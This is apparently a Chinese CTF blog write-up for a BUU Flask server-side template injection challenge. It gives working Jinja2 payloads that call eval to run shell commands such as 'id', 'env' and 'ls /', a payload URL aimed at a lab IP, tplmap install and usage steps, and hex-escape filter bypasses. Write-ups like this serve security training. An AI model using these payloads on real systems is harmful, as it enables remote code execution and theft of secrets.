SSTI例题buu[Flask]SSTI

方法一:手注
在这里插入图片描述

打开只有这个
访问http://your-ip/?name={{233233}},得到54289,说明它执行了我们的命令,SSTI漏洞存在。
这里的54289是233
233的运算结果

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

打印环境变量poc

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

方法2:

用tplmap脚本
Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。
拓:
kali下安装tplmap(安装之前虚拟机要换源不然的话可能会报错,换源的教程我写在awd里)
kali2020版及以上, 输入python2命令会执行python2, python3也存在。
但pip默认是pip3, 而我们需要的是pip2, 所以我们需要先安装pip2

#进入家目录
cd

#建立目录ins-pip2
mkdir ins-pip2

#下载pip2安装脚本
wget  https://bootstrap.pypa.io/pip/2.6/get-pip.py

#python2执行 需要sudo权限
sudo python2 get-pip.py

#升级pip2
sudo pip2 install --upgrade pip

#安装pip2扩展工具,不然后面安装还是报错
sudo pip2 install --upgrade setuptools


tpl是用python2编写的,报错一般是使用py3

#使用git克隆tplmap
git clone https://github.com/epinna/tplmap   #这里如果报错的话把https换成git

cd tplmap

sudo pip2 install -r requirements.txt

tplmap使用模板

./tplmap.py -u <'目标网址'>

拓展:查看根目录(ctf简单的题目flag一般在根目录)

http://114.67.246.176:17130/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

关于绕过 _ ’ . 这三个被过滤了,但可以用十六进制绕过
注意:模板注入时可以使用,但正常的python语法是不支持的

_      \x5f     \x5F
.       \x2E
单引号'被过滤可以用双引号"代替

用"[] (类似数组下标)"的方式选定
也就是说下面的写法是等价的

{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值